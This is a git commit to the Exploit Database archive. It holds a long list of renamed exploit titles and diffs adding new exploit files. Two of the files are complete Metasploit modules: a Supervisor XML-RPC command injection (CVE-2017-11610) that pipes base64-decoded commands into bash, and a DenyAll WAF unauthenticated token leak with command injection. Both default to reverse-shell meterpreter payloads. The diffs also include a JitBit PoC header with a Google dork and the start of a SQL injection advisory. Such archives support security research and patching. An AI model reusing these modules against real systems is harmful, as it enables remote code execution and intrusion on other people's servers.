DB: 2017-09-26

12 new exploits

Apache 2.0.52 - GET Request Denial of Service
Apache 2.0.52 - GET Denial of Service

CUPS Server 1.1 - GET Request Denial of Service
CUPS Server 1.1 - GET Denial of Service

BlueCoat WinProxy 6.0 R1c - GET Request Denial of Service
BlueCoat WinProxy 6.0 R1c - GET Denial of Service

TFTPD32 2.81 - GET Request Format String Denial of Service (PoC)
TFTPD32 2.81 - GET Format String Denial of Service (PoC)

ImgSvr 0.6.5 - (long http post) Denial of Service
ImgSvr 0.6.5 - POST Denial of Service

Multi-Threaded TFTP 1.1 - Long GET Request Denial of Service
Multi-Threaded TFTP 1.1 - GET Denial of Service

Essentia Web Server 2.15 - GET Request Remote Denial of Service
Essentia Web Server 2.15 - GET Remote Denial of Service

Sami HTTP Server 2.0.1 - POST Request Denial of Service
Sami HTTP Server 2.0.1 - POST Denial of Service

Xserver 0.1 Alpha - Post Request Remote Buffer Overflow
Xserver 0.1 Alpha - POST Remote Buffer Overflow

XBMC 8.10 - GET Requests Multiple Remote Buffer Overflow (PoC)
XBMC 8.10 - GET Multiple Remote Buffer Overflow (PoC)
Zervit Web Server 0.04 - GET Request Remote Buffer Overflow (PoC)
Mereo 1.8.0 - GET Request Remote Denial of Service
Zervit Web Server 0.04 - GET Remote Buffer Overflow (PoC)
Mereo 1.8.0 - GET Remote Denial of Service

ARD-9808 DVR Card Security Camera - GET Request Remote Denial of Service
ARD-9808 DVR Card Security Camera - GET Remote Denial of Service

Kolibri+ Web Server 2 - GET Request Denial of Service
Kolibri+ Web Server 2 - GET Denial of Service

Adobe InDesign CS3 - '.INDD' File Handling Buffer Overflow
Adobe InDesign CS3 - '.INDD' Handling Buffer Overflow

Sami HTTP Server 2.0.1 - GET Request Denial of Service
Sami HTTP Server 2.0.1 - GET Denial of Service

Netscape Enterprise Server 3.6 SP2/FastTrack Server 2.0.1 - GET Request
Netscape Enterprise Server 3.6 SP2/FastTrack Server 2.0.1 - GET Exploit

(Linux Kernel) ReiserFS 3.5.28 - Potential Code Execution / Denial of Service
(Linux Kernel) ReiserFS 3.5.28 - Code Execution / Denial of Service

WebTrends Reporting Center for Windows 4.0 d - GET Request Buffer Overflow
WebTrends Reporting Center for Windows 4.0 d - GET Buffer Overflow

Working Resources BadBlue 1.7.3 - GET Request Denial of Service
Working Resources BadBlue 1.7.3 - GET Denial of Service

PlanetWeb 1.14 - Long GET Request Buffer Overflow
PlanetWeb 1.14 - GET Buffer Overflow

My Web Server 1.0.1/1.0.2 - Long GET Request Denial of Service
My Web Server 1.0.1/1.0.2 - GET Denial of Service

Monkey HTTP Server 0.4/0.5 - Invalid POST Request Denial of Service
Monkey HTTP Server 0.4/0.5 - Invalid POST Denial of Service

Linksys Devices 1.42/1.43 - GET Request Buffer Overflow
Linksys Devices 1.42/1.43 - GET Buffer Overflow

Netgear ProSafe 1.x - VPN Firewall Web Interface Login Denial of Service
NETGEAR ProSafe 1.x - VPN Firewall Web Interface Login Denial of Service

VisNetic ActiveDefense 1.3.1 - Multiple GET Request Denial of Service
VisNetic ActiveDefense 1.3.1 - GET Multiple Denial of Service

Pi3Web 2.0.1 - GET Request Denial of Service
Pi3Web 2.0.1 - GET Denial of Service

Snowblind Web Server 1.0/1.1 - GET Request Buffer Overflow
Snowblind Web Server 1.0/1.1 - GET Buffer Overflow
ArGoSoft Mail Server 1.8.3.5 - Multiple GET Requests Denial of Service
WebBBS Pro 1.18 - GET Request Denial of Service
ArGoSoft Mail Server 1.8.3.5 - GET Multiple Denial of Service
WebBBS Pro 1.18 - GET Denial of Service

Proxomitron Proxy Server - Long GET Request Remote Denial of Service
Proxomitron Proxy Server - GET Remote Denial of Service

Armida Databased Web Server 1.0 - Remote GET Request Denial of Service
Armida Databased Web Server 1.0 - GET Remote Denial of Service

Twilight WebServer 1.3.3.0 - 'GET' Request Buffer Overflow
Twilight WebServer 1.3.3.0 - GET Buffer Overflow

Sami FTP Server 1.1.3 - Library Crafted GET Request Remote Denial of Service
Sami FTP Server 1.1.3 - Library Crafted GET Remote Denial of Service

Loom Software SurfNow 1.x/2.x - Remote GET Request Denial of Service
Loom Software SurfNow 1.x/2.x - GET Remote Denial of Service

Sambar Server 6.0 - 'results.stm' POST Request Buffer Overflow
Sambar Server 6.0 - 'results.stm' POST Buffer Overflow

Linksys PSUS4 PrintServer - POST Request Denial of Service
Linksys PSUS4 PrintServer - POST Denial of Service

Thomson TCW690 Cable Modem ST42.03.0a - Long GET Request Denial of Service
Thomson TCW690 Cable Modem ST42.03.0a - GET Denial of Service

Netgear ProSafe - Denial of Service
NETGEAR ProSafe - Denial of Service

Multiple IEA Software Products - POST Request Denial of Service
Multiple IEA Software Products - POST Denial of Service

Netgear WGR614 - Administration Interface Remote Denial of Service
NETGEAR WGR614 - Administration Interface Remote Denial of Service

Remote Help HTTP 0.0.7 - GET Request Format String Denial of Service
Remote Help HTTP 0.0.7 - GET Format String Denial of Service

Geo++ GNCASTER 1.4.0.7 - GET Request Denial of Service
Geo++ GNCASTER 1.4.0.7 - GET Denial of Service

D-Link WBR-2310 1.0.4 - GET Request Remote Buffer Overflow
D-Link WBR-2310 1.0.4 - GET Remote Buffer Overflow

Polipo 1.0.4.1 - POST/PUT Requests HTTP Header Processing Denial of Service
Polipo 1.0.4.1 - POST/PUT HTTP Header Processing Denial of Service

CoDeSys 3.4 - HTTP POST Request Null Pointer Content-Length Parsing Remote Denial of Service
CoDeSys 3.4 - HTTP POST Null Pointer Content-Length Parsing Remote Denial of Service

Zoom Player - '.avi' File Divide-by-Zero Denial of Service
Zoom Player - '.avi' Divide-by-Zero Denial of Service
Adobe Flash - Out-of-Bounds Memory Read While Parsing a Mutated '.SWF' File (1)
Adobe Flash - Out-of-Bounds Memory Read While Parsing a Mutated '.SWF' File (2)
Adobe Flash - '.SWF' Out-of-Bounds Memory Read (1)
Adobe Flash - '.SWF' Out-of-Bounds Memory Read (2)

Microsoft Windows - Cursor Object Potential Memory Leak (MS15-115)
Microsoft Windows - Cursor Object Memory Leak (MS15-115)
Adobe Photoshop CC / Bridge CC - '.png' File Parsing Memory Corruption (1)
Adobe Photoshop CC / Bridge CC - '.png' File Parsing Memory Corruption (2)
Adobe Photoshop CC & Bridge CC - '.iff' File Parsing Memory Corruption
Adobe Photoshop CC / Bridge CC - '.png' Parsing Memory Corruption (1)
Adobe Photoshop CC / Bridge CC - '.png' Parsing Memory Corruption (2)
Adobe Photoshop CC & Bridge CC - '.iff' Parsing Memory Corruption

Adobe Flash - '.MP4' File Stack Corruption
Adobe Flash - '.MP4' Stack Corruption

Adobe Photoshop CS2 / CS3 - Unspecified '.bmp' File Buffer Overflow
Adobe Photoshop CS2 / CS3 - '.bmp' Buffer Overflow

Zoom Player Pro 3.30 - '.m3u' File Buffer Overflow (SEH)
Zoom Player Pro 3.30 - '.m3u' Buffer Overflow (SEH)

Linux Kernel 2.2.x/2.4.x - '/proc' Filesystem Potential Information Disclosure
Linux Kernel 2.2.x/2.4.x - '/proc' Filesystem Information Disclosure

Adrenalin Player 2.2.5.3 - '.m3u' File Buffer Overflow (SEH) (ASLR + DEP Bypass)
Adrenalin Player 2.2.5.3 - '.m3u' Buffer Overflow (SEH) (ASLR + DEP Bypass)

Netgear Genie 2.4.32 - Unquoted Service Path Privilege Escalation
NETGEAR Genie 2.4.32 - Unquoted Service Path Privilege Escalation

CyberLink LabelPrint < 2.5 - Buffer Overflow (SEH Unicode)

LimeWire 4.1.2 < 4.5.6 - Inappropriate GET Request Remote Exploit
LimeWire 4.1.2 < 4.5.6 - Inappropriate GET Remote Exploit

PMSoftware Simple Web Server - GET Request Remote Buffer Overflow
PMSoftware Simple Web Server - GET Remote Buffer Overflow

Fenice Oms 1.10 - Long GET Request Remote Buffer Overflow
Fenice Oms 1.10 - GET Remote Buffer Overflow

webdesproxy 0.0.1 - GET Request Remote Buffer Overflow
webdesproxy 0.0.1 - GET Remote Buffer Overflow

webdesproxy 0.0.1 - (exec-shield) GET Request Remote Code Execution
webdesproxy 0.0.1 - (exec-shield) GET Remote Code Execution

Savant Web Server 3.1 - GET Request Remote Overflow (Universal)
Savant Web Server 3.1 - GET Remote Overflow (Universal)

Belkin Wireless G Plus MIMO Router F5D9230-4 - Authentication Bypass
Belkin F5D9230-4 Wireless G Plus MIMO Router - Authentication Bypass

Netgear WG102 - Leaks SNMP Write Password With Read Access
NETGEAR WG102 - Leaks SNMP Write Password With Read Access

XBMC 8.10 (Windows) - GET Request Remote Buffer Overflow
XBMC 8.10 (Windows) - GET Remote Buffer Overflow

XBMC 8.10 - GET Request Remote Buffer Overflow (SEH) (Universal)
XBMC 8.10 - GET Remote Buffer Overflow (SEH) (Universal)

Netgear WNR2000 FW 1.2.0.8 - Information Disclosure
NETGEAR WNR2000 FW 1.2.0.8 - Information Disclosure

Kolibri+ Web Server 2 - GET Request Remote Overwrite (SEH)
Kolibri+ Web Server 2 - GET Remote Overwrite (SEH)

BigAnt Server 2.50 - GET Request Remote Buffer Overflow (SEH)
BigAnt Server 2.50 - GET Remote Buffer Overflow (SEH)

BigAnt Server 2.50 - GET Request Universal Remote Buffer Overflow (SEH)
BigAnt Server 2.50 - GET Universal Remote Buffer Overflow (SEH)

httpdx 1.4 - GET Request Buffer Overflow
httpdx 1.4 - GET Buffer Overflow

Netgear WG111v2 Wireless Driver - Long Beacon Overflow (Metasploit)
NETGEAR WG111v2 Wireless Driver - Long Beacon Overflow (Metasploit)

Proxy-Pro Professional GateKeeper 4.7 - GET Request Overflow (Metasploit)
Proxy-Pro Professional GateKeeper 4.7 - GET Overflow (Metasploit)

Linksys WRT54 (Access Point) - apply.cgi Buffer Overflow (Metasploit)
Linksys WRT54 Access Point - apply.cgi Buffer Overflow (Metasploit)

Oracle Weblogic Apache Connector - POST Request Buffer Overflow (Metasploit)
Oracle Weblogic Apache Connector - POST Buffer Overflow (Metasploit)

Berkeley Sendmail 5.58 - Debug exploit
Berkeley Sendmail 5.58 - Debug Exploit

A-V Tronics InetServ 3.0 - WebMail Long GET Request
A-V Tronics InetServ 3.0 - WebMail GET Exploit
Light HTTPD 0.1 - GET Request Buffer Overflow (1)
Light HTTPD 0.1 - GET Request Buffer Overflow (2)
Light HTTPD 0.1 - GET Buffer Overflow (1)
Light HTTPD 0.1 - GET Buffer Overflow (2)

Netgear FM114P Wireless Firewall - File Disclosure
NETGEAR FM114P Wireless Firewall - File Disclosure

Athttpd 0.4b - Remote GET Request Buffer Overrun
Athttpd 0.4b - GET Remote Buffer Overrun

IA WebMail Server 3.0/3.1 - Long GET Request Buffer Overrun
IA WebMail Server 3.0/3.1 - GET Buffer Overrun

Monit 1.4/2.x/3/4 - Overly Long HTTP Request Buffer Overrun
Monit 1.4/2.x/3/4 - Long HTTP Request Buffer Overrun

KarjaSoft Sami HTTP Server 1.0.4 - GET Request Buffer Overflow
KarjaSoft Sami HTTP Server 1.0.4 - GET Buffer Overflow

MyWeb HTTP Server 3.3 - GET Request Buffer Overflow
MyWeb HTTP Server 3.3 - GET Buffer Overflow

Omnicron OmniHTTPd 2.x/3.0 - GET Request Buffer Overflow
Omnicron OmniHTTPd 2.x/3.0 - GET Buffer Overflow

Netgear RP114 3.26 - Content Filter Bypass
NETGEAR RP114 3.26 - Content Filter Bypass

Netgear DGN1000B - setup.cgi Remote Command Execution (Metasploit)
NETGEAR DGN1000B - setup.cgi Remote Command Execution (Metasploit)

Netgear DGN2200B - pppoe.cgi Remote Command Execution (Metasploit)
NETGEAR DGN2200B - pppoe.cgi Remote Command Execution (Metasploit)

Netgear MA521 Wireless Driver 5.148.724 - Long Beacon Probe Buffer Overflow
NETGEAR MA521 Wireless Driver 5.148.724 - Long Beacon Probe Buffer Overflow

Netgear WG311v1 Wireless Driver 2.3.1.10 - SSID Heap Buffer Overflow
NETGEAR WG311v1 Wireless Driver 2.3.1.10 - SSID Heap Buffer Overflow

Netgear ReadyNAS - Perl Code Evaluation (Metasploit)
NETGEAR ReadyNAS - Perl Code Evaluation (Metasploit)

Netgear SSL312 PROSAFE SSL VPN-Concentrator 25 - Error Page Cross-Site Scripting
NETGEAR SSL312 PROSAFE SSL VPN-Concentrator 25 - Error Page Cross-Site Scripting

Zoom Player 3.30/5/6 - Crafted '.ZPL' File Error Message Arbitrary Code Execution
Zoom Player 3.30/5/6 - '.ZPL' Error Message Arbitrary Code Execution

Ultra Mini HTTPD 1.21 - POST Request Stack Buffer Overflow
Ultra Mini HTTPD 1.21 - POST Stack Buffer Overflow

Kolibri Web Server 2.0 - GET Request Stack Buffer Overflow
Kolibri Web Server 2.0 - GET Stack Buffer Overflow

NetGear WNR2000 - Multiple Information Disclosure Vulnerabilities
NETGEAR WNR2000 - Multiple Information Disclosure Vulnerabilities

HTTP 1.1 - GET Request Directory Traversal
HTTP 1.1 - GET Directory Traversal
Kolibri Web Server 2.0 - GET Request (SEH)
D-Link Devices - 'info.cgi' POST Request Buffer Overflow (Metasploit)
Kolibri Web Server 2.0 - GET Exploit (SEH)
D-Link Devices - 'info.cgi' POST Buffer Overflow (Metasploit)

Belkin n750 - jump login Parameter Buffer Overflow
Belkin N750 - jump login Parameter Buffer Overflow

Netgear WNDAP350 Wireless Access Point - Multiple Information Disclosure Vulnerabilities
NETGEAR WNDAP350 Wireless Access Point - Multiple Information Disclosure Vulnerabilities

Belkin Wireless Router Default - WPS PIN Security
Belkin Wireless Router - Default WPS PIN Security

Easy File Sharing Web Server 7.2 - GET Request Buffer Overflow (SEH)
Easy File Sharing Web Server 7.2 - GET Buffer Overflow (SEH)

Netgear D6300B - '/diag.cgi' 'IPAddr4' Parameter Remote Command Execution
NETGEAR D6300B - '/diag.cgi' 'IPAddr4' Parameter Remote Command Execution

Netgear ProSafe Network Management System NMS300 - Arbitrary File Upload (Metasploit)
NETGEAR NMS300 ProSafe Network Management System - Arbitrary File Upload (Metasploit)

NUUO NVRmini2 / NVRsolo / Crystal Devices / Netgear ReadyNAS Surveillance Application - Multiple Vulnerabilities
NUUO NVRmini2 / NVRsolo / Crystal Devices / NETGEAR ReadyNAS Surveillance Application - Multiple Vulnerabilities
NETGEAR ADSL Router JNR1010 - Authenticated Remote File Disclosure
NETGEAR ADSL Router WNR500/WNR612v3/JNR1010/JNR2010 - Authenticated Remote File Disclosure
NETGEAR JNR1010 ADSL Router - Authenticated Remote File Disclosure
NETGEAR WNR500/WNR612v3/JNR1010/JNR2010 ADSL Router - Authenticated Remote File Disclosure

Netgear R7000 and R6400 - 'cgi-bin' Command Injection (Metasploit)
NETGEAR R7000 / R6400 - 'cgi-bin' Command Injection (Metasploit)

Easy File Sharing Web Server 7.2 - GET Request 'PassWD' Buffer Overflow (SEH)
Easy File Sharing Web Server 7.2 - GET 'PassWD' Buffer Overflow (SEH)

Supervisor 3.0a1 - 3.3.2 - XML-RPC Authenticated Remote Code Execution (Metasploit)

Netgear DGN2200 - dnslookup.cgi Command Injection (Metasploit)
NETGEAR DGN2200 - dnslookup.cgi Command Injection (Metasploit)

Easy File Sharing Web Server 7.2 - GET Request 'PassWD' Buffer Overflow (DEP Bypass)
Easy File Sharing Web Server 7.2 - GET 'PassWD' Buffer Overflow (DEP Bypass)

Belkin NetCam F7D7601 - Multiple Vulnerabilities
Belkin F7D7601 NetCam - Multiple Vulnerabilities

Alienvault Open Source SIEM (OSSIM) < 4.8.0 -  'get_file' Information Disclosure (Metasploit)
Alienvault Open Source SIEM (OSSIM) < 4.8.0 - 'get_file' Information Disclosure (Metasploit)

Disk Pulse Enterprise 10.0.12 - GET Buffer Overflow (SEH)

Oracle 9i XDB 9.2.0.1 - HTTP PASS Buffer Overflow

Quezza BB 1.0 - (quezza_root_path) File Inclusion
Quezza BB 1.0 - 'quezza_root_path' File Inclusion

The Bible Portal Project 2.12 - (destination) File Inclusion
The Bible Portal Project 2.12 - 'destination' File Inclusion

Vivvo Article Manager 3.2 - (classified_path) File Inclusion
Vivvo Article Manager 3.2 - 'classified_path' File Inclusion

Forum82 < 2.5.2b - (repertorylevel) Multiple File Inclusion
Forum82 < 2.5.2b - 'repertorylevel' Multiple File Inclusion
OpenDock Easy Doc 1.4 - (doc_directory) File Inclusion
OpenDock Easy Blog 1.4 - (doc_directory) File Inclusion
WebYep 1.1.9 - (webyep_sIncludePath) File Inclusion
OpenDock Easy Gallery 1.4 - (doc_directory) File Inclusion
OpenDock Easy Doc 1.4 - 'doc_directory' File Inclusion
OpenDock Easy Blog 1.4 - 'doc_directory' File Inclusion
WebYep 1.1.9 - 'webyep_sIncludePath' File Inclusion
OpenDock Easy Gallery 1.4 - 'doc_directory' File Inclusion

Open Conference Systems 1.1.4 - (fullpath) File Inclusion
Open Conference Systems 1.1.4 - 'fullpath' File Inclusion

SpeedBerg 1.2beta1 - (SPEEDBERG_PATH) File Inclusion
SpeedBerg 1.2beta1 - 'SPEEDBERG_PATH' File Inclusion

PhpShop Core 0.9.0 RC1 - (PS_BASE) File Inclusion
PhpShop Core 0.9.0 RC1 - 'PS_BASE' File Inclusion

Phpjobscheduler 3.0 - (installed_config_file) File Inclusion
Phpjobscheduler 3.0 - 'installed_config_file' File Inclusion

Magic Photo Storage Website - _config[site_path] File Inclusion
Magic Photo Storage Website - '_config[site_path]' File Inclusion

Linksys Cisco WAG120N - Cross-Site Request Forgery
Cisco Linksys WAG120N - Cross-Site Request Forgery

Belkin G Wireless Router F5D7234-4 v5 - Exploit
Belkin F5D7234-4 v5 G Wireless Router - Exploit

Netgear Wireless Cable Modem Gateway - Authentication Bypass / Cross-Site Request Forgery
NETGEAR Wireless Cable Modem Gateway - Authentication Bypass / Cross-Site Request Forgery

PHP-Nuke 6.x/7.x - Modpath Parameter Potential File Inclusion
PHP-Nuke 6.x/7.x - 'Modpath' Parameter File Inclusion

Netgear SPH200D - Multiple Vulnerabilities
NETGEAR SPH200D - Multiple Vulnerabilities

Netgear DGN1000B - Multiple Vulnerabilities
NETGEAR DGN1000B - Multiple Vulnerabilities

Netgear DGN2200B - Multiple Vulnerabilities
NETGEAR DGN2200B - Multiple Vulnerabilities

Netgear WNR1000 - Authentication Bypass
NETGEAR WNR1000 - Authentication Bypass

PHPMyVisites 1.3 - Set_Lang File Inclusion
PHPMyVisites 1.3 - 'Set_Lang' File Inclusion

PPA 0.5.6 - ppa_root_path File Inclusion
PPA 0.5.6 - 'ppa_root_path' File Inclusion

Netgear WPN824v3 - Unauthorized Config Download
NETGEAR WPN824v3 - Unauthorized Config Download

Netgear DGN1000 / DGN2200 - Multiple Vulnerabilities
NETGEAR DGN1000 / DGN2200 - Multiple Vulnerabilities

Netgear ProSafe - Information Disclosure
NETGEAR ProSafe - Information Disclosure

Netgear WNR1000v3 - Password Recovery Credential Disclosure (Metasploit)
NETGEAR WNR1000v3 - Password Recovery Credential Disclosure (Metasploit)

Simple Machines Forum (SMF) 1.1.6 - POST Request Filter Security Bypass
Simple Machines Forum (SMF) 1.1.6 - POST Filter Security Bypass

Netgear N600 Wireless Dual Band WNDR3400 - Multiple Vulnerabilities
NETGEAR WNDR3400 N600 Wireless Dual Band - Multiple Vulnerabilities

Belkin Router AC1200 Firmware 1.00.27 - Authentication Bypass
Belkin AC1200 Router Firmware 1.00.27 - Authentication Bypass

Netgear DGN2200 1.0.0.29_1.7.29_HotS - Persistent Cross-Site Scripting
NETGEAR DGN2200 1.0.0.29_1.7.29_HotS - Persistent Cross-Site Scripting

Netgear DGN2200 1.0.0.29_1.7.29_HotS - Password Disclosure
NETGEAR DGN2200 1.0.0.29_1.7.29_HotS - Password Disclosure

ManageEngine ADSelfService Plus 4.4 - POST Request Manipulation Security Question
ManageEngine ADSelfService Plus 4.4 - POST Manipulation Security Question

Netgear ReadyNAS LAN /dbbroker 6.2.4 - Credential Disclosure
NETGEAR ReadyNAS LAN /dbbroker 6.2.4 - Credential Disclosure

Netgear Wireless Management System 2.1.4.15 (Build 1236) - Privilege Escalation
NETGEAR Wireless Management System 2.1.4.15 (Build 1236) - Privilege Escalation

Netgear Voice Gateway 2.3.0.23_2.3.23 - Multiple Vulnerabilities
NETGEAR Voice Gateway 2.3.0.23_2.3.23 - Multiple Vulnerabilities

Belkin Router N150 1.00.08/1.00.09 - Directory Traversal
Belkin N150 Router 1.00.08/1.00.09 - Directory Traversal

eBay Magento CE 1.9.2.1 - Unrestricted Cron Script (Potential Code Execution / Denial of Service)
eBay Magento CE 1.9.2.1 - Unrestricted Cron Script (Code Execution / Denial of Service)

Belkin N150 Wireless Home Router F9K1009 v1 - Multiple Vulnerabilities
Belkin N150 Wireless Router F9K1009 v1 - Multiple Vulnerabilities

Netgear WNR1000v4 - Authentication Bypass
NETGEAR WNR1000v4 - Authentication Bypass

Netgear ProSafe Network Management System NMS300 - Multiple Vulnerabilities
NETGEAR NMS300 ProSafe Network Management System - Multiple Vulnerabilities
Netgear R7000 - Command Injection
Netgear R7000 - Cross-Site Scripting
NETGEAR R7000 - Command Injection
NETGEAR R7000 - Cross-Site Scripting

Tenda N3 Wireless N150 Home Router - Authentication Bypass
Tenda N3 Wireless N150 Router - Authentication Bypass
DenyAll WAF < 6.3.0 - Remote Code Execution (Metasploit)
Lending And Borrowing - 'pid' Parameter SQL Injection
Multi Level Marketing - SQL Injection
Cash Back Comparison Script 1.0 - SQL Injection
Claydip Airbnb Clone 1.0 - Arbitrary File Upload
Secure E-commerce Script 1.02 - 'sid' Parameter SQL Injection
PHP Auction Ecommerce Script 1.6 - SQL Injection
JitBit HelpDesk < 9.0.2 - Authentication Bypass
This commit is contained in:
Offensive Security 2017-09-26 05:01:29 +00:00
parent 90ecd7f9e4
commit f27338c1f7
17 changed files with 1846 additions and 448 deletions

336
files.csv

File diff suppressed because it is too large Load diff

13
platforms/asp/webapps/42776.txt Executable file
View file

@ -0,0 +1,13 @@
# Exploit Title: JitBit HelpDesk <= 9.0.2 Broken Authentication
# Google Dork: "Powered by Jitbit HelpDesk" -site:jitbit.com
# Date: 09/22/2017
# Exploit Author: Rob Simon (Kc57) - TrustedSec www.trustedsec.com
# Vendor Homepage: https://www.jitbit.com/helpdesk/
# Download Link: https://static.jitbit.com/HelpDeskTrial.zip
# Version: 9.0.2
# Tested on: Windows Server 2012
# CVE : NA
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42776.zip

169
platforms/linux/remote/42779.rb Executable file
View file

@ -0,0 +1,169 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info={})
super(update_info(info,
'Name' => "Supervisor XML-RPC Authenticated Remote Code Execution",
'Description' => %q{
This module exploits a vulnerability in the Supervisor process control software, where an authenticated client
can send a malicious XML-RPC request to supervisord that will run arbitrary shell commands on the server.
The commands will be run as the same user as supervisord. Depending on how supervisord has been configured, this
may be root. This vulnerability can only be exploited by an authenticated client, or if supervisord has been
configured to run an HTTP server without authentication. This vulnerability affects versions 3.0a1 to 3.3.2.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Calum Hutton <c.e.hutton@gmx.com>'
],
'References' =>
[
['URL', 'https://github.com/Supervisor/supervisor/issues/964'],
['URL', 'https://www.debian.org/security/2017/dsa-3942'],
['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11610'],
['URL', 'https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610'],
['CVE', '2017-11610']
],
'Platform' => 'linux',
'Targets' =>
[
['3.0a1-3.3.2', {}]
],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'DefaultOptions' =>
{
'RPORT' => 9001,
'Payload' => 'linux/x64/meterpreter/reverse_tcp',
},
'Privileged' => false,
'DisclosureDate' => 'Jul 19 2017',
'DefaultTarget' => 0
))
register_options(
[
Opt::RPORT(9001),
OptString.new('HttpUsername', [false, 'Username for HTTP basic auth']),
OptString.new('HttpPassword', [false, 'Password for HTTP basic auth']),
OptString.new('TARGETURI', [true, 'The path to the XML-RPC endpoint', '/RPC2']),
]
)
end
def check_version(version)
if version <= Gem::Version.new('3.3.2') and version >= Gem::Version.new('3.0a1')
return true
else
return false
end
end
def check
print_status('Extracting version from web interface..')
params = {
'method' => 'GET',
'uri' => normalize_uri('/')
}
if !datastore['HttpUsername'].to_s.empty? and !datastore['HttpPassword'].to_s.empty?
print_status("Using basic auth (#{datastore['HttpUsername']}:#{datastore['HttpPassword']})")
params.merge!({'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])})
end
res = send_request_cgi(params)
if res
if res.code == 200
match = res.body.match(/<span>(\d+\.[\dab]\.\d+)<\/span>/)
if match
version = Gem::Version.new(match[1])
if check_version(version)
print_good("Vulnerable version found: #{version}")
return Exploit::CheckCode::Appears
else
print_bad("Version #{version} is not vulnerable")
return Exploit::CheckCode::Safe
end
else
print_bad('Could not extract version number from web interface')
return Exploit::CheckCode::Unknown
end
elsif res.code == 401
print_bad("Authentication failed: #{res.code} response")
return Exploit::CheckCode::Safe
else
print_bad("Unexpected HTTP code: #{res.code} response")
return Exploit::CheckCode::Unknown
end
else
print_bad('Error connecting to web interface')
return Exploit::CheckCode::Unknown
end
end
def execute_command(cmd, opts = {})
# XML-RPC payload template, use nohup and & to detach and background the process so it doesnt hangup the web server
# Credit to the following urls for the os.system() payload
# https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610
# https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html
xml_payload = %{<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>echo -n #{Rex::Text.encode_base64(cmd)}|base64 -d|nohup bash > /dev/null 2>&1 &</string>
</param>
</params>
</methodCall>}
# Send the XML-RPC payload via POST to the specified endpoint
endpoint_path = target_uri.path
print_status("Sending XML-RPC payload via POST to #{peer}#{datastore['TARGETURI']}")
params = {
'method' => 'POST',
'uri' => normalize_uri(endpoint_path),
'ctype' => 'text/xml',
'headers' => {'Accept' => 'text/xml'},
'data' => xml_payload,
'encode_params' => false
}
if !datastore['HttpUsername'].to_s.empty? and !datastore['HttpPassword'].to_s.empty?
print_status("Using basic auth (#{datastore['HttpUsername']}:#{datastore['HttpPassword']})")
params.merge!({'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])})
end
return send_request_cgi(params, timeout=5)
end
def exploit
res = execute_cmdstager(:linemax => 800)
if res
if res.code == 401
fail_with(Failure::NoAccess, "Authentication failed: #{res.code} response")
elsif res.code == 404
fail_with(Failure::NotFound, "Invalid XML-RPC endpoint: #{res.code} response")
else
fail_with(Failure::UnexpectedReply, "Unexpected HTTP code: #{res.code} response")
end
else
print_good('Request returned without status code, usually indicates success. Passing to handler..')
handler
end
end
end

103
platforms/linux/webapps/42769.rb Executable file
View file

@ -0,0 +1,103 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "DenyAll Web Application Firewall Remote Code Execution",
'Description' => %q{
This module exploits the command injection vulnerability of DenyAll Web Application Firewall. Unauthenticated users can execute a
terminal command under the context of the web server user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
],
'References' =>
[
['URL', 'https://pentest.blog/advisory-denyall-web-application-firewall-unauthenticated-remote-code-execution/']
],
'DefaultOptions' =>
{
'SSL' => true,
'RPORT' => 3001,
'Payload' => 'python/meterpreter/reverse_tcp'
},
'Platform' => ['python'],
'Arch' => ARCH_PYTHON,
'Targets' => [[ 'Automatic', { }]],
'Privileged' => false,
'DisclosureDate' => "Sep 19 2017",
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [true, 'The URI of the vulnerable DenyAll WAF', '/'])
]
)
end
def get_token
# Taking token by exploiting bug on first endpoint.
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'webservices', 'download', 'index.php'),
'vars_get' => {
'applianceUid' => 'LOCALUID',
'typeOf' => 'debug'
}
})
if res && res.code == 200 && res.body.include?("iToken")
res.body.scan(/"iToken";s:32:"([a-z][a-f0-9]{31})";/).flatten[0]
else
nil
end
end
def check
# If we've managed to get token, that means target is most likely vulnerable.
token = get_token
if token.nil?
Exploit::CheckCode::Safe
else
Exploit::CheckCode::Appears
end
end
def exploit
# Get iToken from unauthenticated accessible endpoint
print_status('Extracting iToken value')
token = get_token
if token.nil?
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
else
print_good("Awesome. iToken value = #{token}")
end
# Accessing to the vulnerable second endpoint where we have command injection with valid iToken
print_status('Trigerring command injection vulnerability with iToken value.')
r = rand_text_alpha(5 + rand(3));
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'webservices', 'stream', 'tail.php'),
'vars_post' => {
'iToken' => token,
'tag' => 'tunnel',
'stime' => r,
'type' => "#{r}$(python -c \"#{payload.encoded}\")"
}
})
end
end

View file

@ -33,6 +33,5 @@ Steps to Reproduce:
3. Solution: 3. Solution:
The issue is now patched by the vendor This vulnerability will be fixed in phpMyFAQ 2.9.9
https://github.com/thorsten/phpMyFAQ/commit/30b0025e19bd95ba28f4eff4d259671e7bb6bb86

27
platforms/php/webapps/42770.txt Executable file
View file

@ -0,0 +1,27 @@
# # # # #
# Exploit Title: Lending And Borrowing Script - SQL Injection
# Dork: N/A
# Date: 22.09.2017
# Vendor Homepage: http://www.i-netsolution.com/
